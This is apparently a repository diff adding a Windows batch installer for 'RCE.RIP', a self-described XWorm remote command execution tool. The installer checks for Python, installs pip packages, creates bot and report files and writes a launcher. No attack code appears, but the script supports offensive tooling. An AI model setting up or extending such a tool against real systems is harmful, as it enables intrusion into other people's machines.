||||||
|
print_status('error', f"Unexpected error: {str(e)}")
|
||||||
|
traceback.print_exc()
|
||||||
@@ -0,0 +1,117 @@
|
|||||||
|
@echo off
|
||||||
|
title RCE.RIP Setup Script
|
||||||
|
color 0C
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ██████╗ ██████╗███████╗ ██████╗ ██╗██████╗
|
||||||
|
echo ██╔══██╗██╔════╝██╔════╝██╗ ██╔══██╗██║██╔══██╗
|
||||||
|
echo ██████╔╝██║ █████╗ ╚═╝ ██████╔╝██║██████╔╝
|
||||||
|
echo ██╔══██╗██║ ██╔══╝ ██╗ ██╔══██╗██║██╔═══╝
|
||||||
|
echo ██║ ██║╚██████╗███████╗╚═╝ ██║ ██║██║██║
|
||||||
|
echo ╚═╝ ╚═╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝╚═╝╚═╝
|
||||||
|
echo.
|
||||||
|
echo OPEN SOURCE xWORM RCE • RCE.RIP
|
||||||
|
echo ========================================================
|
||||||
|
echo.
|
||||||
|
|
||||||
|
echo [+] Starting RCE.RIP Setup...
|
||||||
|
echo.
|
||||||
|
echo [+] Checking Python installation...
|
||||||
|
python --version >nul 2>&1
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [!] Python not found! Please install Python 3.7+ from https://python.org
|
||||||
|
echo [!] Make sure to check "Add Python to PATH" during installation
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
) else (
|
||||||
|
echo [✓] Python found
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [+] Checking pip installation...
|
||||||
|
pip --version >nul 2>&1
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [!] pip not found! Please ensure pip is installed with Python
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
) else (
|
||||||
|
echo [✓] pip found
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo [+] Installing required Python packages...
|
||||||
|
echo.
|
||||||
|
|
||||||
|
echo [+] Installing pycryptodomex...
|
||||||
|
pip install pycryptodomex
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [!] Failed to install pycryptodomex
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [+] Installing colorama...
|
||||||
|
pip install colorama
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [!] Failed to install colorama
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [+] Installing requests...
|
||||||
|
pip install requests
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [!] Failed to install requests
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [+] Installing beautifulsoup4...
|
||||||
|
pip install beautifulsoup4
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [!] Failed to install beautifulsoup4
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo [+] Setting up configuration files...
|
||||||
|
|
||||||
|
if not exist "reports.txt" (
|
||||||
|
echo. > reports.txt
|
||||||
|
echo [✓] Created reports.txt
|
||||||
|
)
|
||||||
|
|
||||||
|
if not exist "bots.txt" (
|
||||||
|
echo. > bots.txt
|
||||||
|
echo [✓] Created bots.txt
|
||||||
|
)
|
||||||
|
|
||||||
|
if not exist "alreadyscraped.txt" (
|
||||||
|
echo. > alreadyscraped.txt
|
||||||
|
echo [✓] Created alreadyscraped.txt
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo [+] Creating launcher script...
|
||||||
|
|
||||||
|
echo @echo off > run_rce.bat
|
||||||
|
echo title RCE.RIP - Remote Command Execution Tool >> run_rce.bat
|
||||||
|
echo color 0C >> run_rce.bat
|
||||||
|
echo python rcerip.py >> run_rce.bat
|
||||||
|
echo pause >> run_rce.bat
|
||||||
|
|
||||||
|
echo [✓] Created run_rce.bat launcher
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ========================================================
|
||||||
|
echo [✓] Setup completed successfully!
|
||||||
|
echo.
|
||||||
|
echo Usage:
|
||||||
|
echo 1. Run 'python rcerip.py' to start the tool
|
||||||
|
echo 2. Or use 'run_rce.bat' for quick launch
|
||||||
|
echo.
|
||||||
|
echo Notes:
|
||||||
|
echo - Edit the 'apikey' variable in rceip.py
|
||||||
|
echo.
|
||||||
|
echo ========================================================
|
||||||
|
pause
|
||||||
Reference in New Issue
Block a user